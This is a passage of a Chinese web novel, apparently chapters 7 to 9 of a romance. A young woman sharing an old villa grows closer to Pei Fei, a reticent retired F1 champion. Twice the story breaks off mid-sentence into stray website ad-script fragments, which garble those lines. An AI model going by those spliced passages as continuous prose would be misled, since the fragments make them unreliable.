走出超市那条街之后,就是通往别墅的柏油路,路面平坦,路上也没什么人,只有矮矮的影子陪在她跟前,黎向浠就低头,抬腿逗着它,像是在同步起舞。 没一会儿,布加迪从后方开来,停在路边跳舞的女生身旁,她并没有发现,也察觉不到驾驶座上,有一双幽黑的瞳孔在盯着她。 看着她一蹦一跳,嘴角微扬,很是开心的模样,裴非想到自己小时候的样子,只是时间过去太久,他已经很少有那样开心的表情了。 裴非垂下眼,手在胸口比划了“对不起”的手语,他比划了两次,像是在练习待会儿要出现的场景。 但很生疏,最后他选择放弃,手垂下去,却不小心碰到了喇叭。 嘀- 黎向浠沉浸在自己的世界,玩得不亦乐乎,身后引擎声靠近她都没听到,直到这个声音传来,黎向浠才抬头。 布加迪不知何时停在她左侧,车窗按下去,驾驶座上,裴非戴着鸭舌帽,盖住大半的眼神。 她和布加迪还有一米多的距离,太阳光填满缝隙,地表热气腾腾,尽管如此,她还是感受到裴非身上的冰凉。 前两天的对峙还历历在目,耳边拳头挥出的动静还未消散,以为裴非又要给她下马威,使绊子,黎向浠紧了紧手臂,抱着袋子埋头往前走。 布加迪在她身旁移动。 黎向浠加快脚步。 布加迪也跟着加速。 …… 走了很久,或许是见她不停,布加迪往前开走。 黎向浠松了一口气,熬走了那个冷冰冰的人。 下一秒,布加迪在她前方两米处停下,那个冷冰冰的人打开车门走到她跟前,拦住她脚步。 来人并没有说话,黎向浠也没有看他。 这样站了一会儿,太阳温度很高,黎向浠的汗更多了,她要从另一边走,他又跨一步,拦住她去路。 黎向浠后退,她下意识解释:“我只是去了一趟超市。” 言外之意,没有干别的,没有做什么伤天害理的事情,也没有叫你沈裴非。 许久的停顿之后,裴非喉咙干哑地“嗯”了一声。 帽沿盖住的脸下,那双幽深的瞳孔有了内疚之意。 黎向浠没看见,她只想到上次裴非说的,搬不搬走这件事,由不得她,她以为,这次,他是要拦着不让她回老宅。 “我说了,我不会搬走的。”黎向浠抬眼,目光炯炯。 她是害怕的,掌心冒冷汗,裴非长得高,拦在她跟前的时候,还踩在她的影子上,帽子投下的阴影,衬得他五官很吓人。 裴非躲开她眼神,又“嗯”了一声。 他的习惯就是简单潦草地“嗯”,很简短,听上去对这件事很不在乎,加上眼神错开,让黎向浠以为,他很不屑。 黎向浠觉得他不可理喻,她绕开他。 裴非伸手,要抓她的袋子。 他的手背上,还有那一拳留下的刮痕,爬山虎一样的青筋,在太阳底下,是冰冷的淡青色。 以为他又要动手,黎向浠抱紧袋子躲开他。 “你要干什么?!” 裴非手指蜷了蜷,直接抢袋子。 “哎!”黎向浠要抢回来,但裴非身形太高,像一堵墙,她只好将手缩回来。 袋子里装有不少牛奶饮料,很重,黎向浠就是提不动才抱在怀里的。 裴非提在身侧却像可有可无那般,站得笔直,唯一改变的,是他手臂发力,带动了平日里隐藏的肌肉。 “上车。”裴非说。 “你要带我去哪?我是不会搬走的!”黎向浠后退一步,攥着衣角,在背后悄悄握起防御的拳头。 裴非看向她隐匿拳头的位置,欲言又止。 “耍人很好玩吗?”黎向浠转身。 “喂!”裴非喊她。 黎向浠停下脚步。 平日里,别墅小区的路上见不到车子,这会儿,正巧有一辆跑车从前方开来,引擎声让黎向浠悄悄松了一口气,她往前走,想趁现在逃脱,毕竟有人在,她觉得裴非不会动手。 刚迈步,裴非像是埋伏已久的猎人,跨到她跟前,挡住太阳,影子投在她身上,瞬间阴凉。 帽檐低下,裴非盯着地板,许久才挤出两个字:“回去。” - 7. 他道歉 裴非没有启动车子,他朝向前方,眼神有些飘忽,抓着方向盘的指尖,用力到泛白。 但这些细微末节,在裴非身上,动静极小,像是头发落地那样,没办法让人看出来,比如此刻,坐在副驾驶上的黎向浠。 车厢弥漫着尴尬,空调适宜,座椅柔软,黎向浠却觉得比晒太阳更难捱,仿佛空气都是刺,一股掉进狼窝的感觉。 她懊悔上车了。 “我……我还是走回去吧……”黎向浠转身,解开安全带。 裴非手一动,车门被锁上了。 黎向浠咽了咽口水,看着车门开关处,背后冒汗。 裴非只是这一下,又没有了动静。 沉默席卷,车厢仿佛变成与世隔绝的铁皮,黎向浠度秒日年,如同钝刀割肉,裴非的每一次呼吸都是在折磨她。 索性,黎向浠破罐子破摔,攥着拳头大声说:“我已经跟你道歉了!说出的话又没办法收回,你想打我就动手吧,别折磨我!还有,老宅我是绝对不会搬出去的!” 话是强硬的,但她攥着拳头,还有些发抖,她不确定在这样的空间惹怒他,会不会有路人发现,并且救她。 裴非掠了她一眼又挪开,喉结艰难游走,努力适应那几个字的音节。 从黎向浠的视线,他的下颌线是没有感情的,对她的崩溃,他完全视而不见。 空调的声音原本很小,在这个时候,却像是一首寂静的歌,低声吟唱,传遍车厢,顺便带来无尽的寒气,吹得黎向浠起了鸡皮疙瘩,她抱着自己,搓了搓胳膊。 鼻子一酸,黎向浠猛地眨眼不让自己哭出来,她闭上眼,哽咽着调整呼吸。 须臾。 她听到空调调整的声音,以及小小一声:“抱歉。” 以为是自己幻听,黎向浠往裴非方向侧耳朵。 那个声音犹豫了一下,又是蚊子般动静说:“上次的事,抱歉。” 裴非攥着方向盘,透过反光镜,看到副驾驶人紧闭的双眼,她睫毛很长,能盖住下眼睑很远的地方,在那里落了一片阴影,让整张偏可爱的脸蛋,有了一丝阴暗面。 趁她视线没有恢复,裴非的声音加大,他沉沉地,没有感情地,语速很快地说:“以及你的朋友,都很抱歉,老宅你想住就住,不用搬出去。” 嗡- 几乎跟最后一个字同时,车子启动,引擎轰鸣,像是刻意要掩盖那句话一般。 黎向浠没睁眼,她感受到车子在移动,觉得好奇妙,像是做了一个坠入悬崖的梦。前一秒以为自己完蛋了,下一秒,身体一惊,从柔软的床上醒来,安全舒适,房间还有柔和的阳光。 原来,裴非是来道歉的,以及,她不用搬出老宅了。 黎向浠勾起嘴角,她原以为,他们永远不可能有和平对话的时候。 “没关系。” 轻飘飘的三个音节,像是一段丝绸,绕过裴非的手腕,让紧绷的手松弛下去,他轻咳一声,又恢复往日的模样。 黎向浠缓缓睁眼,挡风玻璃前,冒起热气的柏油路在跳动,挡风玻璃后,适宜的冷气吹到她脖颈间,吹跑了耳朵后方悄悄落下的一滴汗。 车厢的氛围和谐了起来。 黎向浠没有继续说话,因为她觉得裴非不喜欢聊天,每次她问,他都很不耐烦,索性就不说了。 她余光悄悄瞥向驾驶座。 裴非今天穿的是黑白搭配的运动服,尽管还是黑色居多,但这好像是她第一次看见他穿亮色的衣服。 她想,裴非的五官身形本就很好看,如果搭配亮色,一定更好看。 裴非的车没有任何气味,一定要说有,那就是空调冷气的味道,干干净净。 她记得那天的酒店也是,老宅也是,没有什么香水味道,裴非的身上不曾出现过任何香水味。 - 车子停在老宅院子内,黎向浠下车,抱着超市带回来的“战利品”,脚步轻快进了厨房,将它们放到该在的位置。 等她出来时,裴非刚好从二楼下来,似乎又要出去,自从她来了以后,他一天都没有住过这里。见她,他停在楼梯上。 黎向浠尊重他不爱说话的习惯,便只是和他笑了笑,当做打招呼,她坐到沙发上,埋头整理有些枯萎的向日葵。 对于奇怪的沉默,裴非以为她还在生气,他走下楼梯,她依旧没有注意他。 裴非路过客厅,没听到有人说话,他又折去后方倒了一杯水,余光落到沙发里的女生身上。 客厅的窗户很大,多的是木质的家具,本就是90年代别墅,很容易出现丁达尔效应,她就坐在那束光里,安安静静,卷翘的睫毛一眨一眨,像一幅画。 或许是注意力分散,他喝水时,有一串水珠落到胸口,湿润感传来,裴非才收回眼神。 他放下杯子,再次路过客厅,她依旧没有开口,只是安安静静整理着向日葵,她把每一片花瓣都轻轻擦拭一遍,头也不抬。 走到门口之际,裴非折身返回客厅,翻动电视柜找东西。 须臾,他淡淡问:“你叫什么名?” “黎向浠。”女生快速回答。 裴非想起她上次说的话,她乌黑秀亮的头发就是遗传的黎蔓。 黎向浠,黎蔓的黎,向家的向。 难怪她会叫他沈裴非。 也是,他差点也叫沈裴非了。 裴非无奈扯了扯嘴角。 “沈推凡不给你找佣人吗?”他问。 “不用啊,我自己可以。”黎向浠照顾着向日葵回。 说完她才反应过来,裴非主动和她聊天了,黎向浠抬头,眉眼弯弯看向蹲在电视前宽厚的肩膀。 “我喜欢自己动手,那样比较有生活的感觉,让日子更充实。我还喜欢自己做饭,对了,你会做饭吗?你以后会回来住吗?放心,我不会把你住在这里的事情说出去的,这算是我们的小秘密,我给你弄我们山城的火锅吃,你吃过火锅吗?”她有点得寸进尺地说。 听到后方的喋喋不休,语气已经没有了生气的痕迹,裴非翻找的动作停下来,他拍拍手起身,“再说吧。” “你回来住不好吗?自己在外面很无聊的。”黎向浠抱着花瓶,像是试图捂热一块冰。 裴非没有揭穿她,从她的言行看,无聊的明明另有其人。 下午车队有培训,他组织的,针对上次发现的杨余瑞的问题,得出发了。裴非不平不淡扔了一句,“再说吧。” 转身出门,没有拿走任何电视柜下的东西。 黎向浠没有发现这些,但也开心,裴非和她说了不少话。 她总结了,只要她说的不涉及沈家或者沈推凡,裴非就还能沟通,黎向浠记在心底,想着以后都不要在他前面提这些了。 黎向浠去冰箱翻出一个甜筒,她看见了那两包火锅底料,于是花了一个下午,罗列出吃火锅必备菜肴清单。 什么黄喉毛肚豌豆尖儿,统统在列,打算等有人陪她吃了,就把这张单子执行了。 晚上六点多,老宅没有迎来引擎声,黎向浠的手机先响了。 倪婷温和的声音传来,“浠浠,你不是总问我哪里好玩要去试试吗?我公司这两天在隔壁市区有个展,要一起去玩吗?” 黎向浠眼睛亮起,倪婷说的那个展是在临市的漫展,倪婷是策展人,黎向浠迫不及待答应下来。 “我们今晚就得过去,去那边住两个晚上,你可以吗?” “可以可以!” 挂断电话,黎向浠拔腿就往二楼跑,收拾东西等着倪婷过来接她。 - Y12的培训花了整个下午,培训上,杨余瑞被裴非“解刨”了个底朝天,难得见裴非认真,车队都乖头乖脑听着,一个插话的都没有。 结束之后,车队又是一次吃喝玩乐,杨余瑞请客,说裴非帮他大忙了,要感谢他。 一行人吃完饭又折身去了杨余瑞的酒吧,许子炀车队的赛车手,非富即贵,比如杨余瑞当初开酒吧目的,就是给自己圈个地方玩儿的。 二楼观景台烟雾缭绕,男男女女搂在一起,骰子声、干杯声和起哄声此起彼伏。 裴非没喝酒,指腹夹烟靠在扶栏上,漫无目的扫向一楼,手腕上的机械表指向12点,第二天了。 看底下疯狂肆意的舞池,裴非脑子莫名跳出中午的场景,黎向浠一个人在路边,孤零零跟自己的影子跳舞的画面。 按理说,他和她同住一个屋檐,是不应该的,裴非吸了一口烟。 这段时间,他抽烟的频率明显变高了。 杨余瑞七扭八歪从后面走来,搭在裴非肩膀上,抱着他,“喝啊裴非,今晚怎么滴酒不沾?许子炀不是说你千杯不醉吗?” 裴非眼神往他身上偏,脸色有些厌恶。 许子炀赶紧走来把杨余瑞拉开,“你不要命了?喝两杯还分不清大小王了。” 又跟裴非帮杨余瑞说好话,“他喝多就这样,主要还是怕你一个人无聊,想拉着你聊天。” 最后一句话,裴非看向舞池,烟头在指尖转了转,他吸下最后一口,灭在身侧的烟灰缸,转身,扔了一句,“走了。” “去哪? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又回基地啊?”许子炀问。 “家。” - 裴非回到老宅已经是半夜一点,院子和客厅黑漆漆一片,没有声音。 裴非穿过客厅,走去喝水,一路上的布置和他离开时候一样,厨房也没有变化,没有人动过。 他拿着水杯到客厅,看见桌上有张单子,排头写着:【和朋友的吃火锅计划】 字迹秀丽,跟人一样。 裴非将水杯放到旁边,拿起细看。 上面全是什么丸子虾滑毛肚。裴非没有吃过这些,以前没人和他吃,他对吃的也没有追求,活着就行。 现在来说,不活也行。 裴非将纸放回桌上,不小心染了杯子底部的水渍,打湿了左上角。 他走出去两步,又折回来,抽了纸巾将它擦拭到半干,夏季,空调吹过,纸张干了之后还有明显的纹路起伏,凹凹凸凸的,恢复不了。 裴非将它放回去,当做什么也没发生,回了房间。 第二天一早,晨光熹微,空气里的露水还没有被蒸发,裴非换上无袖运动服,露出肌肉线条优美的四肢,戴上耳机,照常一样,准备出门环别墅区晨跑锻炼。 下到客厅却发现,纸张还在,左上角的褶皱没有变动,垃圾桶也只有一张纸巾。 房子除了他,没有任何人的动静。 沈推凡把她接走了? 裴非抬眼看向二楼,他房间对面是紧闭的木门。应该是走了,沈推凡赶擅自把她带来这里,已经是大胆,何况住了那么多天。 走了也好,他就不用跑出去住了。 他戴上耳机,当做这些天什么也没发生。 这天,车队有内部的考核,裴非是考核官。 早上出门的时候,裴非看见客厅的向日葵枯萎了,花的脑袋耷拉在中间,摇摇欲坠,花瓣散落大半。 他随手将它和张纸拿起,走出门外扔进垃圾桶。 许子炀打电话说前一晚喝多了,开不了车,要去市区接他。裴非又掉头,再开往训练场时,太阳已经亮到不能直视了。 赛车需要的场地很大,基地训练场在比老宅更远的郊区,路上没有红绿灯,车子也寥寥无几。 许子炀瘫坐在副驾驶,阳光刺进来,他眯着眼睛一副要死不活的模样,嘴巴又生龙活虎。 “大哥,你到底在犟什么,明明前两年成绩那么好,再说了,就算你不想跑F1,那就来车队跑别的比赛,摆烂不干算什么样子,你这辈子全花在赛车上了,怎么说能不要就不要。” 裴非没给他眼神,并且有点不耐烦。 许子炀自知裴非又在心底嫌他啰嗦了,因为在他第一次提这件事时,裴非就警告过他,再烦,就把他扔出窗外。 但他已经念了那么久了,他还没有被扔出去,许子炀坚信,身为对裴非身世唯一知根知底的外人,裴非对他还是很有耐心的。 于是许子炀话越来越多…… 裴非看着路面,耳朵自动过滤噪音,余光瞥见对方道路旁边,停了一辆白色大众,一个长裙女人打开引擎盖。 擦身而过的车尾,他看到了黎向浠。 她今天穿着简易的T恤牛仔裤,圈起两捆麻花低丸子头,圆碌碌挂在耳边,配合大眼睛,倒是可爱。 黎向浠匿在车的影子里,眼神有些迷茫,她踢了踢轮子,又拍了拍后备箱,嘴巴喋喋不休嘟囔什么。 裴非本来不想管,余光又忍不住看向后视镜。 黎向浠往车子底下探脑袋。 裴非眼神挪回来,踩下油门,加速离开。 “嗯?那边是有车子出问题了吗?”许子炀也看见了,缩着脑袋看后视镜。 “不知道。”裴非回。 许子炀转头,一脸没见过世面的样子吐槽:“哟?原来你会讲话啊?那刚刚怎么一路没有声音。” 裴非余光烦躁掠过他。 许子炀嘴巴抿紧,回头看着越来越远的白色大众,试图转移话题,“这车看上去问题也不严重,又不是爆胎,后面那女的干嘛呢?跟修电视似的,她以为车子会闪雪花吗?笨死了,打电话找修理厂啊。” 许子炀话越多,布加迪的速度就越慢,慢到快停下来了。 许子炀也发现了,他转头坐好,一脸无辜,“不是,我都没聊你退役的事儿,怎么?不会真打算在这儿把我扔下去吧?” 裴非警告地瞥了他一眼,让他闭嘴,打转向灯,掉头。 以为裴非真生气了,许子炀攥着安全带,“不是,你开回京北扔也不行啊!” - 8. 了解他 空旷的郊外道路,布加迪像一只没了捕猎兴致的黑豹,在半路掉头,急刹停到白色大众的车前。 裴非插兜站在长裙女人身后,眼神落在发动机舱上,高挑的身形落下一道影子,并没有上去打招呼的趋势。 “哎?你扔我就扔我,别把自己扔了呀。”许子炀边吐槽边走过来。 女人听到动静回头,许子炀眼睛一亮,“呀!美女!” 车尾处,蹲在地上的黎向浠听到声音,往外面探头,圆碌碌的大眼睛还有对车子的不解,耳朵边还有圆碌碌的低丸子头。 许子炀又眼睛一亮,“嚯!两个美女!” 黎向浠只看见站得岿然不动的裴非,鸭舌帽盖住他大半张脸,挡去太阳光线,在炙热的天气自顾自散发着冷气。 “裴非!”黎向浠咧开嘴角,小跑到他们跟前,跟他打招呼,“好巧啊!你怎么在这儿?你是看见我在这里,过来打招呼的吗?” 黎向浠眼神炙热,光线照在瞳孔里,亮晶晶。 裴非微顿,想回答“嗯”,余光掠了许子炀一眼。 许子炀正眼巴巴打量黎向浠,一副等着吃瓜的模样。 裴非下巴朝向发动机舱,冷不丁说:“看见它。” 黎向浠看过去,倪婷正对着它发愁,里面黑乎乎的,黎向浠不认得那些设备。 她吐了吐舌头,回头说:“好吧,看来是我想多了。” 许子炀八卦的嘴角落下,打圆场说:“那个……美女别多想啊,裴非就是这样,对谁都爱搭不理的。” 他又凑到裴非身边,啧了一声,“你能不能给美女一点面子?没看见别人尴尬了吗?人家热情跟你打招呼,又没说什么不好的话。” 裴非胳膊撞了一下许子炀,瞥一眼黎向浠,她正商业微笑着,露出两颗窘迫的兔牙,像是被人批评的小孩。 裴非沉一口气,挪走眼看向车子问:“你这是?” 许子炀原本还在捂住腹部,突然愣住,他摸了摸自己额头,怀疑自己酒没醒,或者是发烧了。 裴非居然会听他的话,为了给别人台阶下,开口问候了?! 许子炀噗呲一声,笑出声。 裴非睨过去,许子炀才抿平嘴角,摆手示意他们两个聊。 “我跟我朋友去临市参加一个展,去了两个晚上,刚回来。”黎向浠回。 不是沈推凡接走的,裴非拧眉,这次他确实是简单“嗯”了一声。 “你们认识?”许子炀见缝插针。 黎向浠点头,“对啊,我们是……” “见过几面。”裴非打断,帽檐阴影下,幽深的眸色意有所指绕过她。 想来是裴非不想别人知道他们的关系,黎向浠顺着他的话说:“对,我们就见过几面。” 黎向浠和他们介绍了一番倪婷,倪婷和他们打招呼,黎向浠又和许子炀说了自己的名字。 许子炀挥手,开口就是自来熟,“你好倪姐,浠浠,我叫许子炀,隋炀帝的炀。” “你好,隋炀帝。”黎向浠和他打趣。 许子炀喜笑颜开,他伸手,开玩笑道:“你好爱妃,请问你刚刚是在修电视吗?” 很明显,她刚刚的白痴行为被他们看见了,黎向浠尴尬耸耸肩,要回握,裴非一言不发从两个人中间过去,撞开许子炀的手,走向发动机舱前,检查车子。 许子炀“啧”了一声甩甩手。 从裴非下车眼神就长在发动机上,到否认跟黎向浠是朋友关系,许子炀确认,裴非只是单纯过来修车的,跟黎向浠不熟。 “不懂怜香惜玉。”许子炀朝裴非背影吐槽。 黎向浠望过去,裴非今天穿着黑色T恤,肩膀有一抹白,将袖子挽到肩膀处,露出坚实的肌肉,他娴熟检查着车子,没有手套,修长白皙的手指很快就染了汽油。 他总是戴着一顶黑色鸭舌帽,加上不说话,让他整个人看上去像是个行走的秘密。 倪婷在旁边看他修理,她是搞策展的,在跟人沟通方面很厉害。但她只是站在旁边,没有和裴非对话,黎向浠想,倪婷应该看出来,就算说话,这个男人也不会回答。 十分钟后,因为发力时间长,裴非的手臂肌肉开始充血,在阳光底下闪着性感的细汗。 一滴汗从他脸颊滑落,挂在下颚处,晶莹剔透,他嘴唇微微张开,呼着气。 黎向浠从包里翻出纸巾,走过去递给他。 裴非简单看一眼,没什么感情地说:“不用。” 又继续忙碌。 许子炀将黎向浠拽到一边,“别理他,他就对带轮子的感兴趣。” “为什么?”黎向浠问。 许子炀挑眉,“你居然不知道?” 黎向浠摇头。 许子炀想了想说:“不过你不关注这些,不知道也是应该的,回去搜一下裴非就知道了,他这人就是不爱说话,没什么情绪,刚刚的事,你别往心里去。” 黎向浠看向裴非,立体的五官上,神情认真,原本白皙的手腕,也被染了大片的黑。她离得远,还是能闻见浓浓的汽油味,跟火热的气温混在一起,又沉又闷,令人想呕。 裴非却像是闻不到那样,那张看上去又贵又冷的脸,没有一点嫌弃的表情。 “那他……会和朋友道歉吗?”黎向浠问。 许子炀跟见了鬼一样,凑到她耳边,小声说:“我这辈子没见过他道歉,况且,他跟人说话都费劲儿,能有几个朋友。” 阳光变强了,黎向浠视线昏花,裴非的背影在她瞳孔里变得模糊起来,她欲言又止。 明明应该把重心放在“裴非不会道歉”上,那样她会开心一些,毕竟裴非和她道歉过,说明她很厉害。 但她脑子不自觉转向了“能有几个朋友”上。 没有朋友,不会很孤单吗? 她想到黎蔓出事后,自己每天找事做,找人打发时间的样子,无聊又烦闷。她其实有很多朋友,但还是觉得不够用,如果裴非朋友很少的话,他的生活会怎样? 如果她能和他当朋友就好了,至少他不会无聊,她也不会因为要隐瞒身份,没办法上班,闲在家里无聊。 许子炀没看出黎向浠眼神愁绪,他拿出手机,轻快说:“加个微信,带你玩。” “好。”黎向浠眨巴眼回神,笑着扫了他的二维码。 上次在航站楼外,黎向浠已经见过许子炀了,也是这辆布加迪,所以黎向浠断定他跟裴非关系不错,至少不是坏人。 黎向浠和他交换了名字。 许子炀看着手机说:“是这个浠啊?我还以为是希望的希。” “可能是我妈妈对我的希望多三点。”黎向浠回。 身后,听到这两句话的裴非,动作停了一下,被汽油染得乌漆麻黑的手,也不自觉蜷了蜷,深深的瞳孔闪过替人庆幸的情绪。 “好了。”他关上引擎盖,拍拍手。 黎向浠走过去递给他纸巾,兴致勃勃:“擦一擦吧,谢谢你帮我们!” 裴非垂眸。 黎向浠的大眼睛在太阳底下,像是两颗含了水的珍珠,亮晶晶的,风吹,碎发轻轻晃动。 车子从身侧飞过,响起一阵鸣笛,裴非挪走眼,要绕过她。 黎向浠硬塞到他掌心。 她手指很修长,但不算细腻,或许是帮黎蔓做了很多家务的原因,她的看上去很坚强,让人觉得它既漂亮,又能做很多事情。 在白皙的指尖快要触碰到染了机油的手指上时,裴非的手停下动作,任由纸巾落入掌心。 见他接过,黎向浠开心说了声谢谢。 裴非平平扫了她一眼,绕过身侧上了副驾驶,他手脏了,不想拿方向盘。 许子炀和黎向浠倪婷她们挥手道别,也上了驾驶座。 “真不懂你,好好的美女不看,光看轮胎。”许子炀扣安全带吐槽。 裴非没搭理,他抽出纸巾想凑合擦一下,发现是两包。一包湿纸巾,一包干抽纸,包装干干净净,阳光照在上面,反到车门上,分离出一道浅浅的彩色光线,没什么温度的眸光敛起不易察觉的涟漪。 “拿了微信别乱说话。”裴非说。 他发誓,说这句话的时候,真的没有别的意思。 - 跟倪婷道别,黎向浠搬着行李回到老宅,刚进门她就看到桌上的空花瓶。 本来她还担心不在的这两天,花枯萎了没人收拾,会有不好闻的气味出来,裴非应该不会喜欢这种气味。 没想到他会主动处理掉,黎向浠嘴角漾起笑意。 她把行李搬到房间,整理好,又出门了,去花店买新的向日葵。 傍晚时分,黎向浠抱着一大束花,还有一盆虎皮兰,嘿咻嘿咻喘着气走回老宅,场景像是一幅重色调的油画。 霞光万道落进院子,为周遭开了一层金色的滤镜,映得原本绿油油的树叶微微泛黄,女生怀里的向日葵开得灿烂,颜色深深。 黎向浠走到大宅门口才发现,她出去的时候没有带钥匙。老宅年龄久了,不是密码锁指纹锁,是传统的钥匙锁。 黎向浠啧了一声,坐到门槛上,把虎皮兰放到一边,抱着向日葵,撑手,不知道在等待什么,反正她不想跟任何人求救。 反正,谁也不会搭理她,比如,沈推凡不在的时候,他的司机都不可以管她。 黎向浠撑着手,想到以前黎蔓总会把备用钥匙放在门口绿植下面,就是为了防止她放学回来进不了家门。 她莫名其妙抬起那盆新的虎皮兰,检查了一下盆底,显然没有钥匙。她打算明天就放一把进去,不过要先问问裴非。 对了,裴非。 黎向浠突然记起许子炀的话,她放下盆栽,拿出手机点开搜索软件,输入名字,跳出了百度百科。 裴非,24岁,F1世界冠军车手,连续三个赛季获得了世界冠军。 “还真是F1啊!”黎向浠捂着嘴巴,佩服的情绪从闪烁的眼睛流出来。 想到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 什么,黎向浠拍拍胸口,放心地舒气。 幸好在机场外面那会儿,她驳回了自己的诅咒。 介绍页底下配了一段两分钟的视频,黎向浠点开。 是F1的比赛视频。 场地里,观赛席呜泱泱坐满了情绪高亢的观众。蜿蜒盘绕的赛场,许多辆飞快奔驰的赛车你追我赶,其中,最前方两辆齐头并进,互相制约,不相上下。 过弯时,红黑相间的赛车,车轮擦出闪亮的火花,伴随震天的引擎声,轻轻松松将另一辆甩在身后,一跃向前,拿下冠军,观众席瞬间热血沸腾,呼声震天。 驾驶人从车上走下来,红色赛车服剪裁得体,身材修长,比例优越,脱下头盔时,镜头放大到他面部。 与现在相比,视频里的裴非还有两分稚嫩。 没有过分撕裂的表情,只是那双冰冷的眼睛,压着微弯的弧度,满含期待,有矜持有爱意,像是微风吹过梨花树,看得一片白,却闻见芬芳,让背景里的观众消音了那样,静谧美好。 原来裴非笑起来这么好看,黎向浠忍不住跟着笑起来,她想,果然是这样的,裴非穿亮色的衣服,比黑色好看很多。 她看不到视频里,裴非视线的落点,但黎向浠断定,观众席上有裴非想看到的人,他一直在看那个人,他的眼神里,流转着她从没见过的情愫。 像是一种渴望,或者说,这场比赛,跟那个人有很大的关系,他很想让那个人看见。就像小时候,她考了全班第一,拿到奖状后,迫不及待回家跟黎蔓分享一样…… 视频结束,自动跳到下一个。 【据报道,年仅23岁的冠军赛车手裴非,近日突然宣布退役,车迷粉丝都知道,他势头正盛,荣耀加冕,前途无量,现在却消失得无影无踪,令人唏嘘……】 去年退役了? 黎向浠拧眉,往下一个个翻视频。 她看查完所有资料,都没有裴非退役的真正原因,也没有裴非退役之后的照片,真的跟人间蒸发一样。 奇怪,黎向浠看着裴非穿赛车服的简介证件照,百思不得其解。 不知不觉,晚霞彻底消失在天空,月亮慢慢变得清晰,星星也顽皮出现在各个角落,黎向浠依旧坐在门槛上,对着手机,打蚊子。 找不到答案,她干脆就去视频网站看裴非以前比赛的视频。 受比赛的紧张情绪影响,她已经将进不了家门这件事抛之脑后。 夜深之后,黎向浠已经看了好几个小时,肚子叫了好几轮,又打了几个哈欠,不知不觉,黎向浠抱着向日葵靠在门上,眼皮沉沉。 - 另一边,训练场,考核中,裴非眼神如猎鹰盯着飞奔的车辆,手中的笔尖快速摩擦过纸张,记录每一辆车子行驶的问题。 许子炀站在他旁边,难得安静。 他知道裴非的习惯,对于赛车,尽管嘴上说退役,但真要裴非干活,又是一丝不苟。 考核结束已经是晚上,训练场的大灯很锋利,照亮裴非白到吓人的皮肤。 许子炀点着手机凑过去问:“黎向浠这么神秘,朋友圈什么都没有,不会是屏蔽我的吧?你能看见吗?” 裴非笔尖一顿,恍惚了两秒才回:“没有。” 裴非的意思是,他没有她的微信。 许子炀以为他说,黎向浠朋友圈就是没有内容。 “要不我约她出来玩?” “她喝不了酒。”裴非快速回,回完他察觉不对,眼神晃了一下,又在纸上快速写着东西,佯装什么也没说。 “噢?”许子炀挑眉,“你很了解嘛~不过她那么漂亮,很多男人都会喜欢的吧~” 裴非将本子打在许子炀胸口,“总结,自己看。” 冷冷往车子方向走去。 许子炀打开,纸上写了一个:滚。 走笔锋利,下笔很用力,穿透到了后一页纸上。 “开个玩笑你别走啊,知道你不是普通男人了行吧,又不是说你喜欢她。”许子炀走过去,搭着他肩膀,“先去吃个饭,我请客。” “不过你最近跑车队的次数越来越勤,听说前些天你还帮那些车手指导体能训练来着,怎么?是不是又有参赛想法了?” 裴非没有回答,他不想说是因为回不了老宅,不知道怎么面对黎向浠,和沈推凡扯上关系的,他都不想搭理。住在基地又没事干,干脆找点活打发时间。 吃完饭,裴非回到老宅已经是晚上11点,这两天他都是住在老宅,尽管知道黎向浠回来了,他还是得回来收拾一下。 夜空繁星点点,附近绿化树上的动物在叫唤,裴非从布加迪下来,临近大门,他突然警觉起来。 两步之后,裴非安静站在黑夜里,眸光沉沉。 黎向浠坐在门槛上,抱着开得艳丽的向日葵,睡得额头出汗,碎发沾在细腻白皙的皮肤上,像个小孩。 她好像做梦了,粉嫩的嘴角在嚼着什么,手机落在不远处的地上。 - 9. 靠近他 黎向浠做了个梦,梦到很多好吃的,有烤鸭火锅串串蛋糕等等,她太饿了就一直吃,吃着吃着觉得开始失重,然后身体一惊,从睡梦中醒来了。 她脑袋从门上滑落,隐约间,好像有一只手把她托住了,手掌很大很温暖,手上有白天阳光晒过的味道,干干净净。 但睁眼的时候,又没有了。 黎向浠打着哈欠,模模糊糊看到一米之外屹立的人影,她吓得踢了一下腿,向日葵滑落,又匆匆捞回怀里。 等缓过来才发现是裴非,他手插在口袋里,身形高大,把月光挡住大半,模糊阴影下,五官英隽,眼神冷冰冰瞥向她身侧。 黎向浠看过去,是石像雕塑的底座,水泥制成,又硬又尖锐,就在她太阳穴旁边。 刚刚那个温度,应该不是错觉。 黎向浠嘴角起了笑意,“你回来啦!” 想到什么,黎向浠瞳孔打颤,她憋了一口气检查两只手,又在地板上寻找,直到看见脚底黑屏了的手机,才放心呼出来。 幸好,要是被裴非发现她在偷偷看他的视频,估计又要生气了。 黎向浠捡起手机,起身,“我是不是挡你……” 坐了好几个小时,站起来时,视线地天旋地转,陷入一片漆黑,她手指拽着门环才能保持平衡。 一米开外,裴非见她摇摇欲坠的状态,眉头微蹙,他抬手,走过去半步。 恰好,向日葵从黎向浠手里滑落,像是被人扔掉那样,孤零零躺在地上。 裴非悬空的手蜷了蜷。 他想起小时候的自己了,他的花也没有得到很好的对待。 晦暗的光线里,裴非眼底闪过一丝狠意,回到原本的位置,垂下帽檐,当做没看见。 须臾。 黎向浠视线恢复正常,她捡起花,往旁边挪动,“我是不是挡路了?怎么不叫醒我?你什么时候回来的?站很久了吗?” 裴非没有回答她的问题,冷冷问:“怎么不进去睡?” “我下午出去买花,忘记带钥匙了。”黎向浠拍了拍花束,往裴非跟前伸了伸。 裴非错开眼不去看它,问:“不叫沈推凡帮你?” “还是别打扰他了,而且,他应该会让我叫开锁的比较快,我看这房子你保护得很好,叫开锁的话,我怕会弄坏。”黎向浠呢喃,自顾自打理着向日葵,并没有发现裴非对花束的异常。 裴非眼神落下去,嘴角自嘲起刚刚的冷漠。 沈推凡根本不会在她身上浪费时间的。 “怎么……”裴非想问,怎么不叫他。 想到她根本就没有他的联系方式,他又不说话了。 黎向浠让出位置,裴非走过去,开门。 “下次联系我。”他拿出手机。 看着爬满青筋的手,把带有二维码的手机递过来,黎向浠受宠若惊地咧着嘴巴。 